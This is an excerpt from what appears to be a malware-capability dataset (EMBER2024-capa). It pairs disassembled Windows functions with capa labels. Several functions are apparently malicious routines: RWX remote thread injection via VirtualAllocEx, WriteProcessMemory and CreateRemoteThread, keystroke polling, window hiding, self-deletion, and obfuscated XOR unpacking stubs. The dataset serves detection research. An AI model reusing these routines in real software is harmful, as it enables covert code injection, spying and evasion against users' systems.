joyce8/EMBER2024-capa huggingface dataset:
Function at 0x459bdc
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4c6fd8]
cmp byte [eax + 0xc], 0
je 0x459d49
push 0x8000
call sub.KERNEL32.DLL_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x459d42
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4c7be0], 0
jne 0x459c30
push 0x459d50
call sub.KERNEL32.DLL_GetModuleHandleA
mov ebx, eax
push 0x459d58
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7be0], eax
cmp dword [0x4c1df4], 0
jne 0x459d2b
push 0x459d68
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x4c1df4], eax
cmp dword [0x4c1df4], 0
je 0x459d2b
push 0x459d74
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7be4], eax
push 0x459d84
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7be8], eax
push 0x459d98
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7bec], eax
push 0x459db0
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7bf0], eax
push 0x459dc8
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7bf4], eax
push 0x459ddc
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7bf8], eax
push 0x459df4
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7bfc], eax
push 0x459e0c
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7c00], eax
push 0x459e28
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7c04], eax
push 0x459e34
mov eax, dword [0x4c1df4]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4c7c08], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459d49
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x466c18
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x466c20
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x466e12
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x466e28
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004046f4
lea ecx, [ebp - 0x10]
mov edx, 0x466e3c
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004046f4
lea ecx, [ebp - 0x14]
mov edx, 0x466e54
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004046f4
lea ecx, [ebp - 0x18]
mov edx, 0x466e70
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004046f4
lea ecx, [ebp - 0x1c]
mov edx, 0x466e8c
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004046f4
lea ecx, [ebp - 0x24]
mov edx, 0x466ea4
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408a0c
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408e1c
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x466ebc
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x28]
call fcn.004638b8
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x466ecc
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x2c]
call fcn.004638b8
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x466ee4
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408e1c
inc eax
je 0x466db5
lea ecx, [ebp - 0x34]
mov edx, 0x466ee4
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x34]
call fcn.00408de0
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040a488
fstp qword [ebp - 0x3c]
wait
call fcn.0040a7ec
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x466dd0
lea ecx, [ebp - 0x40]
mov edx, 0x466ee4
mov eax, esi
call fcn.004647a0
mov eax, dword [ebp - 0x40]
call fcn.004638b8
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x466ef4
mov eax, esi
call fcn.004647a0
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004046f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466e19
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004046c4
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.004046c4
ret
Function at 0x4730b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x47310a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.004730a0
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.00462524
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00462124
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473111
lea eax, [ebp - 4]
call fcn.004046a0
ret

Function at 0x4a4c70
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4156a8]
call fcn.00405080
xor eax, eax
push ebp
push 0x4a4db4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4c66bc], 0
jne 0x4a4cc3
mov ecx, dword [0x4c6864]
mov dl, 1
mov eax, dword [0x407b44]
call fcn.0040c608
call fcn.00404058
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.0040315c
mov eax, ebx
call fcn.00404f30
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x4a4dc4
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00406118
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404f40
test eax, eax
jle 0x4a4d5b
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
je 0x4a4d54
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404928
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404910
mov eax, dword [ebp - 0x48]
pop edx
call fcn.0040899c
test eax, eax
jne 0x4a4d54
mov ebx, 0x15
jmp 0x4a4d60
mov ebx, 0x10
jmp 0x4a4d60
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4c66bc]
call fcn.004a4bc8
mov eax, dword [ebp - 8]
call fcn.004a4bc8
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406130
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a4dbb
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004046c4
lea eax, [ebp - 0x10]
mov edx, dword [0x4156a8]
call fcn.00405150
ret

Function at 0x4ad40c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [0x4ad444]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4ad422
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4ad431
or bl, 4
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4ad440
or bl, 2
mov eax, ebx
pop ebx
ret
Function at 0x4adc00
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4c6d4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4adc26
push 0
mov eax, dword [0x4c6d4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x4ae9b0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.00407560
ret
Function at 0x4afb2c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
mov edi, eax
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
cmp byte [edi + 0x32d], 0
jne 0x4afb7d
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [esp]
sbb edx, dword [esp + 4]
push edx
push eax
mov eax, esi
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4afb70
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4afb74
jmp 0x4afb7d
pop edx
pop eax
jl 0x4afb7d
push 0x64
call sub.KERNEL32.DLL_Sleep_1
jmp 0x4afb44
mov eax, ebx
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4b0830
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0x1000
mov eax, dword [ebp - 4]
push eax
push esi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push esi
push 0
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b08c8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push 0x1000
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push esi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push edi
push 0
push 0
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov dword [ebp - 0xc], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, esi
cdq
push edx
push eax
mov eax, dword [ebp + 8]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
push 0x8000
push 0
push edi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x8000
push 0
push esi
mov eax, dword [ebx + 0x4c]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4b1f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov edi, 0x4c8030
xor ebx, ebx
push esi
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [edi], eax
cmp dword [edi], 0
je 0x4b1fd2
push 4
push 0x1000
push 0x2d08
push 0
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [0x4cad3c], eax
cmp dword [0x4cad3c], 0
jne 0x4b1f72
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4b1fd2
mov eax, 0x4b1f14
sub eax, 0x4b1c94
inc eax
mov dword [0x4cad4c], eax
push 0x40
push 0x1000
mov eax, dword [0x4cad4c]
push eax
push 0
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [0x4cad40], eax
cmp dword [0x4cad40], 0
jne 0x4b1fb2
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4b1fd2
push 0x4cad48
mov eax, dword [0x4cad4c]
push eax
push 0x4b1c94
mov eax, dword [0x4cad40]
push eax
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4b1fd8
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, edx
imul ebx, eax, 0x418
add ebx, dword [0x4cad3c]
push 0x4cad48
push 0x418
imul eax, eax, 0x83
lea eax, [eax*8 + 0x4c8034]
push eax
push ebx
mov eax, dword [0x4c8030]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
push 0x4cad48
push 0
push ebx
push esi
push 0
push 0
mov eax, dword [0x4c8030]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov dword [0x4cad44], eax
pop esi
pop ebx
ret

Function at 0x4b2e44
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe88
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4b306a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402adc
test eax, eax
jne 0x4b303f
xor edx, edx
push ebp
push 0x4b3027
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x160]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x168]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.0040931c
push dword [ebp - 0x164]
push 0x4b3084
lea eax, [ebp - 0x16c]
call fcn.004b2d8c
push dword [ebp - 0x16c]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a20
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402b3c
push 0x40
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x416990]
call fcn.0041b400
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x416990]
call fcn.0041b400
mov esi, eax
push 0
push 0
mov edx, ebx
mov eax, esi
call fcn.0041b1e8
call fcn.00402b9c
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 0x64
sbb edx, 0
call fcn.0040317c
cdq
push edx
push eax
mov eax, ebx
call fcn.0041af6c
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, ebx
call fcn.0041af4c
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
call fcn.0040317c
cdq
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.0041b1e8
mov eax, ebx
call fcn.004038cc
mov eax, esi
call fcn.004038cc
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.0040315c
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 1
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
push dword [ebp - 0xc]
push 0x4b3090
lea edx, [ebp - 0x178]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.004b3414
push dword [ebp - 0x174]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.00404a20
mov eax, dword [ebp - 0x170]
call fcn.00404b60
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b302e
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b3071
lea eax, [ebp - 0x178]
mov edx, 6
call fcn.004046c4
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004046c4
ret
Function at 0x4b9868
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
xor eax, eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b9a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1d4]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x1d4]
lea ecx, [ebp - 4]
mov edx, 0x4b9a3c
call fcn.00409254
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402ef0
lea eax, [ebp - 0x1d0]
call fcn.00402c8c
call fcn.0040291c
mov edx, 0x4b9a4c
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
mov edx, 0x4b9a60
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
push 0x4b9a6c
lea edx, [ebp - 0x1dc]
xor eax, eax
call fcn.00402b3c
push dword [ebp - 0x1dc]
push 0x4b9a7c
lea eax, [ebp - 0x1d8]
mov edx, 3
call fcn.00404a20
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
push 0x4b9a88
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402b3c
push dword [ebp - 0x1e4]
push 0x4b9a9c
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404a20
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
mov edx, 0x4b9ab0
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
lea eax, [ebp - 0x1d0]
call fcn.00402fb8
call fcn.0040291c
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404b60
push eax
push 0
mov eax, dword [0x4c6efc]
mov eax, dword [eax]
call fcn.004551dc
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x4c6d4c]
mov eax, dword [eax]
call fcn.00440034
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b9a2b
lea eax, [ebp - 0x1e4]
mov edx, 5
call fcn.004046c4
lea eax, [ebp - 4]
call fcn.004046a0
ret

Function at 0x4bb428
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x4bb52c
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x4bb450
mov eax, dword [0x4f6ad0]
mov edx, dword [eax]
call dword [edx + 0x44]
push 0
push 0x4ba340
call sub.user32.dll_EnumWindows
mov eax, dword [0x4f6ad0]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x4bb482
mov eax, 0x4bb540
call fcn.0042ed44
jmp 0x4bb511
lea ecx, [ebp - 4]
xor edx, edx
mov eax, dword [0x4f6ad0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 4]
call fcn.00408de0
call fcn.004bb0d0
cmp dword [0x4f6f40], 0
jne 0x4bb4b8
mov dl, 1
mov eax, dword [0x4b0b44]
call fcn.004b0c68
mov dword [0x4f6f40], eax
cmp dword [0x4f6f44], 0
jne 0x4bb4d2
mov dl, 1
mov eax, dword [0x4b0ba4]
call fcn.004b1390
mov dword [0x4f6f44], eax
cmp dword [0x4f6f48], 0
jne 0x4bb4ec
mov dl, 1
mov eax, dword [0x4b0c04]
call fcn.004b0d18
mov dword [0x4f6f48], eax
lea eax, [ebp - 8]
call fcn.004b6358
mov edx, dword [ebp - 8]
mov eax, 0x4bb558
call fcn.004b5580
jmp 0x4bb511
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bb533
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c4
ret
Function at 0x100029d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100029e3
pop dword [ebp - 0x24]
mov eax, 0xe765a56
add eax, 0x189cf8d
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x5583da2b
sub dword [ebp - 0x34], 0x73194e0
mov dword [ebp - 0x30], 0xb5c265f1
sub dword [ebp - 0x30], 0x838f19ac
mov dword [ebp - 0x2c], 0x64d6497d
sub dword [ebp - 0x2c], 0x188a054f
mov dword [ebp - 0x28], 0x775de152
add dword [ebp - 0x28], 0x88a21eae
lea eax, [ebp - 0x34]
push eax
mov eax, 0xe9fcf386
add eax, 0x2603bd0e
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x63d74f80
add dword [ebp - 0x34], 0x109b19d6
mov dword [ebp - 0x30], 0x37f97070
add dword [ebp - 0x30], 0x972f105
mov dword [ebp - 0x2c], 0x3069952e
sub dword [ebp - 0x2c], 0xccfa28c2
mov dword [ebp - 0x28], 0x1e166ddc
sub dword [ebp - 0x28], 0x1e166ddc
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x38145
push 0
call eax
mov ecx, 0x9ab1c7eb
add ecx, 0x654e8293
xor edx, edx
add edx, eax
mov edi, 0x10015000
add edi, dword [ebp - 0x24]
mov esi, 0xb0f304e0
add esi, 0x82bad4c0
xor dword [ebp - 0xc], 0xd749df65
mov ebx, dword [edi]
sub dword [ebp - 0x20], 0xcb915d46
xor ebx, esi
mov dword [ebp - 8], 0x2fdab076
mov dword [edx], ebx
sub dword [ebp - 0x1c], 0x35929b52
add edx, 0x72cf7b61
add edx, 0x8d3084a3
add edi, 0x4d845dc9
add edi, 0xb27ba23b
loop 0x10002afc
add eax, 0x5ab6faa
sub eax, 0x5aa52df
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40288e
pop dword [ebp - 0x20]
mov eax, 0x40288e
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xc7fc8ad8
sub dword [ebp - 0x30], 0x79aa458d
mov dword [ebp - 0x2c], 0x8d7f79db
add dword [ebp - 0x2c], 0xa4b3d26a
mov dword [ebp - 0x28], 0xc73da946
add dword [ebp - 0x28], 0x850e9ae8
mov dword [ebp - 0x24], 0x8b4b454f
sub dword [ebp - 0x24], 0x8b4b454f
lea eax, [ebp - 0x30]
push eax
mov eax, 0x44759798
sub eax, 0x4435170c
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x8ae9399b
add dword [ebp - 0x30], 0xe9892fbb
mov dword [ebp - 0x2c], 0xb5769d5f
add dword [ebp - 0x2c], 0x8bf5c416
mov dword [ebp - 0x28], 0x81a989e0
add dword [ebp - 0x28], 0xe1c5e28c
mov dword [ebp - 0x24], 0xead0bae6
sub dword [ebp - 0x24], 0xead0bae6
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x7cdcd359
sub eax, 0x7c9c5285
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x39502
push 0
call eax
mov ecx, 0xe126576c
add ecx, 0x1ed9fb72
xor edx, edx
add edx, eax
mov ebx, 0x411000
add ebx, dword [ebp - 0x20]
mov edi, 0x3ab28e8a
sub dword [ebp - 0x10], 0xc0812c2d
mov esi, dword [ebx]
sub dword [ebp - 0xc], ecx
xor esi, edi
sub dword [ebp - 0x18], esi
mov dword [edx], esi
add dword [ebp - 0xc], esi
add edx, 0xfcce8401
sub edx, 0xfcce83fd
add ebx, 0xecdf697e
add ebx, 0x13209686
loop 0x4029a1
add eax, 0x13e4b
mov ebx, eax
add eax, 5
mov ecx, 0x5c988fa0
sub ecx, 0x5c588fa0
add ecx, dword [ebp - 0x20]
call ebx
leave
ret